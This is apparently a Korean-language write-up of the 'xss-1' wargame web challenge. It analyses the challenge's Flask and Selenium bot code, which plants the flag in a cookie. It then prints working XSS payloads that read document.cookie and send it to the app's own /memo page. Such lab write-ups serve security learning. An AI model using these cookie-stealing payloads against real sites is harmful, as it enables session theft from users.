xss-1
wargame, web
문제
XSS 공격으로 플래그를 얻는 문제이다.
문제 분석
메인 페이지
/vuln?param=<script>alert(1)</script>
![]()
vuln(xss) page 는 클라이언트가 접속하면 param에 있는 스크립트를 실행하는 페이지인것 같다.
/memo?memo=hello
memo 페이지는 쿼리스트링에 있는 문자열을 메모에 기록하는 역할을 한다.
/flag
플래그를 얻기 위한 입력창으로 보인다.
![]()
폼이 있으니 서버 소스코드를 확인해보자.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST": # 폼을 제출하면 (POST)
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
/flag 페이지에 있는 폼을 제출하면 check_xss() 함수에 내가 입력한 입력값과 플래그 값을 같이 포함하고 있는 것을 알 수 있다. check_xss() 함수를 확인해보자.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
read_url() 함수에 /vuln 페이지 주소와 내가 입력한 값, 플래그 값(쿠키) 를 넘겨주고 있다. read_url() 함수를 살펴보자.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
셀레니움 을 사용해 브라우저에 쿠키 값을 추가하고 주어진 url 변수로 이동하고 있다. 추가되는 쿠키 값은 FLAG 가 될 것이다. (check_xss() 에 플래그가 매개변수로 있기 때문에)
셀레니움이란?
Selenium automates browsers. That’s it! - selenium.dev
브라우저를 자동화하는것으로, 서버에서 브라우저를 통해 크롤링이나 동작을 자동화 할 수 있는 프레임워크이다.
이 문제에선 XSS 공격에 클라이언트가 필요하기 때문에 셀레니움을 사용한 것 같다.
풀이
XSS 공격을 통해 문제를 풀 수 있다. 아래의 페이로드 이외에도 XSS 공격이 가능한 페이로드면 가능해 보인다.
<script>location.href = "/memo?memo=" + document.cookie<script>
<img src="HEHE" onerror="fetch('/memo?memo=' + document.cookie)">
... 이외 많은 XSS 공격 페이로드(?)
위 페이로드를 /flag 페이지에서 폼을 통해 제출하면 쿠키에 플래그가 포함되어 있는 브라우저가 서버에서 실행되고, 그 브라우저는 제출한 페이로드를 실행하기 위해 XSS 공격에 취약한 페이지 (/vuln?param=페이로드) 로 접속한다 페이로드에 포함되어 있는 스크립트를 서버에서 동작 중인 브라우저가 실행하고 그 스트립트는 /memo 에 쿠키 정보를 포함하여 요청을 보내게 된다.
공격자는 /memo 페이지에 접속해 서버에서 실행된 브라우저에 담겨 있는 쿠키를 확인할 수 있게 된다.


